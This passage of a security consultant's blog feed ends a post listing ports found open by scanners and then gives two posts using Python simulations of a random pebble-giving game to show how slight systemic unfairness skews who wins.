</span></span><span style="display:flex;"><span>1275  2451  4427  6788	8749  13860 24122 33906 44805 46094 50502 64860
</span></span><span style="display:flex;"><span>1276  2452  4428  6789	8750  13892 24123 33908 44806 46095 50505 64864
</span></span><span style="display:flex;"><span>1277  2453  4429  6790	8751  13896 24124 33909 44808 46096 50507 64868
</span></span><span style="display:flex;"><span>1278  2454  4430  6791	8752  13899 24128 33910 44809 46097 50515 64875
</span></span><span style="display:flex;"><span>1279  2455  4431  6792	8753  13905 24129 33911 44810 46098 50521 64888
</span></span><span style="display:flex;"><span>1280  2456  4432  6797	8754  13915 24130 33912 44811 46099 50533 64899
</span></span><span style="display:flex;"><span>1281  2457  4433  6798	8756  13942 24138 33913 44812 46100 50543 64929
</span></span><span style="display:flex;"><span>1282  2458  4434  6799	8757  13950 24139 33914 44813 46101 50556 64931
</span></span><span style="display:flex;"><span>1283  2459  4435  6800	8763  13988 24140 33915 44814 46102 50561 64938
</span></span><span style="display:flex;"><span>1284  2460  4436  6803	8765  13992 24143 33916 44815 46103 50563 64943
</span></span><span style="display:flex;"><span>1285  2461  4437  6805	8766  13999 24144 33917 44816 46104 50573 64979
</span></span><span style="display:flex;"><span>1286  2462  4439  6807	8767  14001 24145 33918 44817 46105 50575 64981
</span></span><span style="display:flex;"><span>1287  2463  4440  6808	8770  14004 24150 33919 44818 46106 50621 64982
</span></span><span style="display:flex;"><span>1288  2464  4441  6809	8772  14005 24159 33920 44819 46107 50633 64985
</span></span><span style="display:flex;"><span>1289  2465  4442  6810	8776  14014 24167 33921 44821 46108 50639 64986
</span></span><span style="display:flex;"><span>1290  2466  4443  6811	8777  14038 24168 33922 44822 46110 50647 64990
</span></span><span style="display:flex;"><span>1291  2467  4444  6813	8778  14047 24169 33923 44823 46111 50649 65000
</span></span><span style="display:flex;"><span>1292  2468  4445  6819	8779  14051 24173 33924 44824 46112 50660 65001
</span></span><span style="display:flex;"><span>1293  2469  4446  6820	8784  14052 24174 33925 44825 46113 50667 65008
</span></span><span style="display:flex;"><span>1294  2470  4447  6821	8785  14079 24175 33926 44826 46114 50706 65022
</span></span><span style="display:flex;"><span>1295  2478  4448  6822	8787  14080 24181 33927 44827 46115 50716 65027
</span></span><span style="display:flex;"><span>1296  2483  4449  6826	8789  14084 24183 33928 44828 46116 50726 65029
</span></span><span style="display:flex;"><span>1297  2489  4450  6827	8791  14085 24189 33929 44829 46117 50733 65042
</span></span><span style="display:flex;"><span>1298  2494  4451  6828	8792  14086 24191 33930 44831 46119 50741 65050
</span></span><span style="display:flex;"><span>1299  2498  4452  6830	8793  14092 24192 33933 44832 46120 50755 65053
</span></span><span style="display:flex;"><span>1300  2500  4453  6831	8794  14105 24193 33934 44833 46121 50766 65094
</span></span><span style="display:flex;"><span>1301  2501  4454  6832	8795  14108 24199 33935 44834 46122 50769 65101
</span></span><span style="display:flex;"><span>1302  2502  4455  6833	8798  14112 24203 33936 44835 46123 50771 65108
</span></span><span style="display:flex;"><span>1303  2503  4456  6834	8799  14140 24204 33937 44836 46124 50789 65110
</span></span><span style="display:flex;"><span>1304  2504  4457  6837	8800  14143 24205 33938 44837 46126 50792 65115
</span></span><span style="display:flex;"><span>1305  2505  4458  6840	8801  14171 24206 33939 44838 46127 50814 65121
</span></span><span style="display:flex;"><span>1306  2506  4469  6853	8802  14178 24208 33940 44839 46128 50832 65133
</span></span><span style="display:flex;"><span>1307  2507  4470  6854	8803  14182 24212 33941 44840 46131 50861 65143
</span></span><span style="display:flex;"><span>1308  2508  4471  6855	8804  14186 24213 33942 44842 46132 50877 65153
</span></span><span style="display:flex;"><span>1309  2509  4474  6856	8805  14187 24214 33943 44843 46133 50892 65166
</span></span><span style="display:flex;"><span>1310  2511  4476  6857	8807  14200 24218 33944 44844 46134 50897 65173
</span></span><span style="display:flex;"><span>1311  2512  4478  6858	8808  14201 24219 33946 44845 46135 50900 65180
</span></span><span style="display:flex;"><span>1312  2513  4480  6859	8809  14211 24220 33947 44846 46136 50902 65188
</span></span><span style="display:flex;"><span>1313  2514  4481  6860	8811  14220 24225 33948 44848 46137 50908 65200
</span></span><span style="display:flex;"><span>1314  2515  4482  6862	8812  14230 24229 33949 44850 46138 50915 65209
</span></span><span style="display:flex;"><span>1315  2516  4483  6863	8813  14242 24242 33950 44851 46139 50923 65219
</span></span><span style="display:flex;"><span>1316  2517  4484  6864	8814  14246 24243 33951 44852 46140 50929 65222
</span></span><span style="display:flex;"><span>1317  2518  4485  6865	8816  14278 24244 33952 44853 46141 50940 65234
</span></span><span style="display:flex;"><span>1318  2519  4486  6867	8817  14293 24254 33953 44854 46143 50946 65238
</span></span><span style="display:flex;"><span>1319  2520  4487  6868	8820  14295 24255 33954 44855 46144 50957 65256
</span></span><span style="display:flex;"><span>1320  2521  4488  6869	8822  14311 24256 33955 44856 46145 51000 65259
</span></span><span style="display:flex;"><span>1321  2522  4489  6870	8824  14332 24269 33956 44857 46146 51001 65269
</span></span><span style="display:flex;"><span>1323  2523  4490  6876	8825  14342 24270 33957 44858 46147 51003 65270
</span></span><span style="display:flex;"><span>1324  2524  4491  6878	8826  14346 24271 33958 44859 46148 51005 65271
</span></span><span style="display:flex;"><span>1325  2525  4492  6880	8827  14354 24276 33959 44860 46150 51008 65272
</span></span><span style="display:flex;"><span>1326  2526  4493  6882	8828  14386 24279 33960 44863 46151 51015 65289
</span></span><span style="display:flex;"><span>1327  2527  4494  6884	8829  14389 24284 33961 44864 46152 51018 65292
</span></span><span style="display:flex;"><span>1328  2528  4495  6889	8831  14390 24285 33962 44865 46153 51020 65325
</span></span><span style="display:flex;"><span>1329  2529  4496  6890	8833  14393 24286 33963 44866 46154 51023 65333
</span></span><span style="display:flex;"><span>1330  2530  4497  6894	8835  14401 24287 33965 44867 46156 51029 65338
</span></span><span style="display:flex;"><span>1331  2531  4498  6895	8838  14402 24288 33966 44868 46157 51043 65341
</span></span><span style="display:flex;"><span>1333  2532  4499  6896	8839  14403 24289 33967 44869 46158 51055 65350
</span></span><span style="display:flex;"><span>1334  2533  4501  6897	8840  14404 24296 33969 44870 46159 51073 65363
</span></span><span style="display:flex;"><span>1335  2534  4502  6898	8841  14405 24297 33970 44871 46160 51077 65365
</span></span><span style="display:flex;"><span>1336  2535  4505  6899	8845  14406 24298 33971 44872 46161 51088 65378
</span></span><span style="display:flex;"><span>1337  2536  4521  6900	8846  14407 24307 33972 44873 46162 51093 65389
</span></span><span style="display:flex;"><span>1338  2537  4522  6901	8847  14408 24315 33973 44874 46163 51101 65400
</span></span><span style="display:flex;"><span>1339  2538  4523  6902	8849  14409 24323 33974 44875 46164 51104 65404
</span></span><span style="display:flex;"><span>1340  2539  4524  6903	8850  14410 24324 33975 44876 46165 51109 65408
</span></span><span style="display:flex;"><span>1341  2540  4525  6904	8853  14411 24325 33979 44877 46166 51112 65413
</span></span><span style="display:flex;"><span>1342  2541  4528  6905	8855  14412 24335 33980 44878 46167 51114 65419
</span></span><span style="display:flex;"><span>1344  2542  4529  6906	8856  14413 24336 33981 44879 46168 51115 65431
</span></span><span style="display:flex;"><span>1345  2543  4532  6907	8858  14414 24337 33983 44880 46170 51116 65461
</span></span><span style="display:flex;"><span>1346  2544  4535  6909	8859  14415 24345 33984 44881 46171 51117 65466
</span></span><span style="display:flex;"><span>1347  2545  4541  6910	8861  14416 24351 33985 44882 46172 51120 65482
</span></span><span style="display:flex;"><span>1348  2546  4542  6913	8863  14417 24353 33986 44883 46174 51121 65483
</span></span><span style="display:flex;"><span>1349  2547  4545  6914	8864  14418 24354 33987 44884 46175 51126 65500
</span></span><span style="display:flex;"><span>1350  2548  4546  6915	8865  14419 24355 33988 44886 46176 51127 65502
</span></span><span style="display:flex;"><span>1351  2549  4550  6916	8866  14420 24356 33989 44887 46177 51142 65505
</span></span><span style="display:flex;"><span>1352  2551  4554  6925	8867  14421 24357 33990 44888 46178 51143 65510
</span></span><span style="display:flex;"><span>1353  2552  4555  6929	8869  14422 24358 33991 44889 46179 51158 65511
</span></span><span style="display:flex;"><span>1354  2553  4556  6931	8870  14428 24359 33992 44890 46180 51167 65512
</span></span><span style="display:flex;"><span>1355  2554  4561  6932	8872  14434 24360 33993 44891 46181 51169 65515
</span></span><span style="display:flex;"><span>1356  2555  4567  6933	8873  14437 24361 33994 44892 46182 51172 65516
</span></span><span style="display:flex;"><span>1357  2556  4568  6934	8874  14443 24363 33995 44893 46184 51176 65517
</span></span><span style="display:flex;"><span>1359  2557  4570  6935	8875  14444 24365 33996 44894 46185 51178 65518
</span></span><span style="display:flex;"><span>1360  2558  4581  6936	8876  14456 24371 33997 44895 46186 51189 65519
</span></span><span style="display:flex;"><span>1361  2559  4585  6937	8877  14463 24373 33998 44896 46187 51198 65520
</span></span><span style="display:flex;"><span>1362  2560  4587  6942	8878  14470 24374 33999 44897 46188 51204 65523
</span></span><span style="display:flex;"><span>1363  2561  4589  6943	8879  14479 24375 34000 44898 46189 51209 65527
</span></span><span style="display:flex;"><span>1364  2562  4594  6944	8880  14481 24376 34005 44899 46190 51213 65528
</span></span><span style="display:flex;"><span>1365  2563  4596  6946	8881  14486 24389 34035 44900 46191 51232 65529
</span></span><span style="display:flex;"><span>1366  2564  4598  6947	8882  14490 24393 34103 44901 46192 51247 65530
</span></span><span style="display:flex;"><span>1367  2565  4601  6948	8883  14498 24404 34130 44902 46193 51248 65531
</span></span><span style="display:flex;"><span>1368  2566  4604  6954	8884  14506 24405 34134 44903 46194 51249 65532
</span></span><span style="display:flex;"><span>1369  2567  4610  6955	8885  14507 24406 34148 44904 46195 51251 65533
</span></span><span style="display:flex;"><span>1370  2568  4611  6957	8886  14511 24410 34167 44905 46196 51253 65534
</span></span><span style="display:flex;"><span>1371  2569  4616  6959	8887  14539 24411 34169 44906 46198 51260 65535
</span></span><span style="display:flex;"><span>1372  2570  4617  6960	8888  14547
</span></span></code></pre></div><p>Just in case you&rsquo;re wondering, that&rsquo;s port 3389/tcp + 14,033 others&hellip;</p>
<p>Security through obscurity can sometimes get you out of the way of automated attack scripts. Not this time&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 21, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/scanning" term="scanning" label="scanning" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rdp" term="rdp" label="rdp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Inequity Fini]]></title>
            <link href="https://yourflyis0pen.com/article/inequity-fini/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/inequity-revisited/?utm_source=atom_feed" rel="related" type="text/html" title="Inequity revisited" />
                <link href="https://yourflyis0pen.com/article/inequity/?utm_source=atom_feed" rel="related" type="text/html" title="Inequity and Randomness" />
                <link href="https://yourflyis0pen.com/article/the-great-stone-head/?utm_source=atom_feed" rel="related" type="text/html" title="The Great Stone Head" />
                <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="related" type="text/html" title="Steppin&#39; In It" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
            
                <id>https://yourflyis0pen.com/article/inequity-fini/</id>
            
            
            <published>2021-04-28T09:36:45-05:00</published>
            <updated>2021-04-28T09:36:45-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>There&rsquo;s always a reasonable and intelligent way to approach any problem.</p>
<p>Then there&rsquo;s the way I usually choose.</p>
<p>Yep. Trust me to do it the unreasonable and stoopid way.</p>
<p>The question I was asking in <a href="/article/inequity-revisited">my previous blog post</a> on this topic was pretty simple: <em>Will even a small amount of systemic unfairness have a measurable and significant impact on who wins and who loses in <a href="/article/inequity">our little, random game</a>?</em></p>
<p><em>Here&rsquo;s me, being stoopid</em>: I decided to calculate the average <em>ID Number</em> of the winning cohort, to see how that was affected by injecting some unfairness into the game (i.e. 1% of the population refusing to give a pebble to a chunk of folks representing 10% of the overall population).</p>
<p>My method worked, but it finally dawned on me that I was taking a really <em>round about</em> way to look for my answer. I had the data - why not just look at the raw number of individuals in the affected population that actually made it into the winning cohort.</p>
<p><em>Doh.</em></p>
<p>Here&rsquo;s the code to do just that. If it&rsquo;s gibberish to you, feel free to ignore it&hellip; I&rsquo;ll &lsquo;splain below:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> datetime <span style="color:#cd00cd">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># choose a random seed</span>
</span></span><span style="display:flex;"><span>random<span style="color:#39c">.</span>seed(datetime<span style="color:#39c">.</span>now()<span style="color:#39c">.</span>timestamp())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>people <span style="color:#39c">=</span> {}
</span></span><span style="display:flex;"><span>averages <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>winners <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># we begin with 1000 people, each with 100 pebbles</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">1000</span>):
</span></span><span style="display:flex;"><span>    people[i] <span style="color:#39c">=</span> <span style="color:#cd00cd">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># let&#39;s play the game 100 times...</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> k <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">100</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># every second, each individual picks a random person and gives them one pebble</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">3600</span> <span style="color:#39c">*</span> <span style="color:#cd00cd">8</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>            r <span style="color:#39c">=</span> p
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">while</span>(r <span style="color:#39c">==</span> p):
</span></span><span style="display:flex;"><span>                <span style="color:#cdcd00">if</span> p <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> (<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">*</span> <span style="color:#cd00cd">0.001</span>):
</span></span><span style="display:flex;"><span>                    r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">100</span>,<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#cdcd00">else</span>:
</span></span><span style="display:flex;"><span>                    r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">0</span>,<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)               
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;</span> <span style="color:#cd00cd">0</span>:
</span></span><span style="display:flex;"><span>                people[p] <span style="color:#39c">-=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>                people[r] <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># let&#39;s pull out the values so we can easily sort them...</span>
</span></span><span style="display:flex;"><span>    values <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        values<span style="color:#39c">.</span>append(people[p])
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># sort the results, lowest to highest</span>
</span></span><span style="display:flex;"><span>    values<span style="color:#39c">.</span>sort()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    count <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    total <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">100</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">100</span>:
</span></span><span style="display:flex;"><span>            count <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">100</span>:
</span></span><span style="display:flex;"><span>            total <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Run #</span><span style="color:#cd0000">%3.3i</span><span style="color:#cd0000"> count: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000"> winners: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> ((k <span style="color:#39c">+</span> <span style="color:#cd00cd">1</span>), count, total))
</span></span><span style="display:flex;"><span>    averages<span style="color:#39c">.</span>append(count)
</span></span><span style="display:flex;"><span>    winners<span style="color:#39c">.</span>append(total)
</span></span><span style="display:flex;"><span><span style="color:#000080"># now, let&#39;s do a little statistical math...</span>
</span></span><span style="display:flex;"><span>avg <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>(averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>var <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>((x<span style="color:#39c">-</span>avg)<span style="color:#39c">**</span><span style="color:#cd00cd">2</span> <span style="color:#cdcd00">for</span> x <span style="color:#cdcd00">in</span> averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>std <span style="color:#39c">=</span> var<span style="color:#39c">**</span><span style="color:#cd00cd">0.5</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Overall (affected group): average:</span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> variance: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> std_deviation: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> (avg, var, std))
</span></span><span style="display:flex;"><span>avg <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>(winners) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(winners)
</span></span><span style="display:flex;"><span>var <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>((x<span style="color:#39c">-</span>avg)<span style="color:#39c">**</span><span style="color:#cd00cd">2</span> <span style="color:#cdcd00">for</span> x <span style="color:#cdcd00">in</span> winners) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(winners)
</span></span><span style="display:flex;"><span>std <span style="color:#39c">=</span> var<span style="color:#39c">**</span><span style="color:#cd00cd">0.5</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Overall (winners): average:</span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> variance: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> std_deviation: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> (avg, var, std))
</span></span></code></pre></div><p>So, once again, I&rsquo;m playing the game 100 times. At the end of each game, I&rsquo;m counting the number of folks in the affected group (the 10% of players with an ID Number in the range 0-99) that are <em>winners</em> (defined as having 100 or more pebbles at the end of the game). I&rsquo;m also counting the overall number of <em>winners</em>.</p>
<p>In the original, completely fair version of the game, one would expect that our affected group - which makes up 10% of the overall population - would, on average, make up 10% of the winners. And yep, that&rsquo;s what we find:</p>
<pre tabindex="0"><code>Overall (affected group): average:36.770000 variance: 24.357100 std_deviation: 4.935291
Overall (winners): average:367.810000 variance: 83.853900 std_deviation: 9.157178
</code></pre><p>But what happens with our <em>1% systemic unfairness</em> paradigm?</p>
<pre tabindex="0"><code>Overall (affected group): average:4.470000 variance: 4.169100 std_deviation: 2.041837
Overall (winners): average:358.460000 variance: 97.348400 std_deviation: 9.866529
</code></pre><p>The affected group goes from making up 10.00% of the <em>winners</em> to only making up 1.25%, because <em><strong>only 1%</strong></em> of the overall population refuses to allow them a fair chance in the game.</p>
<p>By now, you really should know what comes next&hellip;</p>
<p>Let&rsquo;s go a little further. What if only 0.1% of the players (only <em><strong>one</strong></em> person in our population of 1000 players) decides that they won&rsquo;t give a pebble to a specific group comprising 10% of the population? Surely, systemic unfairness on such a small scale can&rsquo;t have a measurable impact&hellip;</p>
<pre tabindex="0"><code>Overall (affected group): average:30.290000 variance: 23.885900 std_deviation: 4.887320
Overall (winners): average:369.440000 variance: 89.066400 std_deviation: 9.437500
</code></pre><p>With only 0.1% of the population behaving unfairly, the marginalized group now makes up, on average, only 8.20% of the winning population (when, in a completely fair game, they made up 10.00%).</p>
<p>Apparently, even the smallest amount of built-in unfairness can have a profound impact.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 28, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/inequity" term="inequity" label="Inequity" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/unfairness" term="unfairness" label="unfairness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Inequity revisited]]></title>
            <link href="https://yourflyis0pen.com/article/inequity-revisited/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/inequity/?utm_source=atom_feed" rel="related" type="text/html" title="Inequity and Randomness" />
                <link href="https://yourflyis0pen.com/article/the-great-stone-head/?utm_source=atom_feed" rel="related" type="text/html" title="The Great Stone Head" />
                <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="related" type="text/html" title="Steppin&#39; In It" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
            
                <id>https://yourflyis0pen.com/article/inequity-revisited/</id>
            
            
            <published>2021-04-26T12:35:40-05:00</published>
            <updated>2021-04-26T12:35:40-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I recently posted an examination of a simple, little, random game.</p>
<p>I decided that I wanted to look a little deeper.</p>
<p>If you didn&rsquo;t read <a href="/article/inequity/">that post</a>, please take a look now.</p>
<p>Just as a reminder, here is the setup and rules for the game:</p>
<hr>
<p><strong><em>Setup:</em></strong></p>
<ul>
<li>We&rsquo;re going to start off the game by gathering 1000 people together.</li>
<li>We&rsquo;re going to give each person 100 small pebbles in a cool, stylish drawstring bag. Perhaps it will be monogrammed. Who knows&hellip;</li>
<li>We&rsquo;re going to set up a timer that will, annoyingly, beep once every second.</li>
<li>The game will last for 8 hours.</li>
</ul>
<p><strong><em>Rules:</em></strong></p>
<ol>
<li>With every annoying beep of the timer, each person is to - <em>completely randomly</em> - choose another person, and give them a pebble.</li>
</ol>
<hr>
<p>That&rsquo;s it. Nothing more. It&rsquo;s about as simple as you can make a game&hellip;</p>
<p>Remember: Each person randomly chooses someone else (not themselves) to give a pebble. On every turn, every person in the game gives away one pebble, but - because the choices are truly random, every person has the exact same chance (as every other person) of being the recipient of one or more of the 999 other pebbles that are given away.</p>
<p>I asked readers a question: <em>at the end of eight hours, what will the distribution of pebbles look like?</em></p>
<p>I&rsquo;m pretty sure that very few people would have predicted that it would look like this:</p>
<p><img src="inequity.png" alt="A counter-intuitive result"></p>
<p>Despite the fact that all of the choices in the game are completely fair and random, the outcome of the game seems to be anything but fair:</p>
<ul>
<li>Some people end up with a crap-tonne of pebbles</li>
<li>Some people end up with no pebbles at all</li>
<li>This distribution is the result of the game every time.</li>
<li>Every. Damned. Time.</li>
</ul>
<p>This result was pretty counter-intuitive for me, and I said so. I also pointed out that the graph produced from the results of the game looked remarkably similar to a <a href="/article/inequity/income.png">graph showing the distribution of U.S. Household Income by Percentile</a>.</p>
<p>I took pains to point out that it was likely an enormous mistake to draw any conclusions based on the similarity of these two graphs.</p>
<p><em>Then I went ahead and drew conclusions based on the similarity of these two graphs.</em></p>
<p>I&rsquo;m like that&hellip;</p>
<p>I closed out the blog post by saying this:</p>
<blockquote>
<p>All of the inequity in the result of our game arises from a perfectly fair system; in the simulation, the people who win are randomly different every time. Imagine the results if you threw in even the smallest amount of systemic unfairness&hellip;</p>
</blockquote>
<p>But I <em>can&rsquo;t</em> just make a sweeping statement like that without&hellip; you know&hellip; testing it.</p>
<p>So, I did.</p>
<p>Let&rsquo;s take a look at that first assumption - that the people who <em>win</em> in the original version of the game are just randomly lucky, i.e. that overall, despite the outcome being unfair, the distribution of <em>who wins</em> is fair.</p>
<p>[<em>Note: If you&rsquo;re not familiar with programming or Python, feel free to just skip the code - it&rsquo;s simply simulating the game as described above. Any additional information is explained below. I only include the code for folks who want to play around with this stuff on their own&hellip;</em>]</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> datetime <span style="color:#cd00cd">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># choose a random seed</span>
</span></span><span style="display:flex;"><span>random<span style="color:#39c">.</span>seed(datetime<span style="color:#39c">.</span>now()<span style="color:#39c">.</span>timestamp())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>people <span style="color:#39c">=</span> {}
</span></span><span style="display:flex;"><span>averages <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># we begin with 1000 people, each with 100 pebbles</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">1000</span>):
</span></span><span style="display:flex;"><span>    people[i] <span style="color:#39c">=</span> <span style="color:#cd00cd">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># let&#39;s play the game 100 times...</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> k <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">100</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># every second, each individual picks a random person and gives them one pebble</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">3600</span> <span style="color:#39c">*</span> <span style="color:#cd00cd">8</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>            r <span style="color:#39c">=</span> p
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">while</span>(r <span style="color:#39c">==</span> p):
</span></span><span style="display:flex;"><span>                r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">0</span>, <span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;</span> <span style="color:#cd00cd">0</span>:
</span></span><span style="display:flex;"><span>                people[p] <span style="color:#39c">-=</span> <span style="color:#cd00cd">1</span>
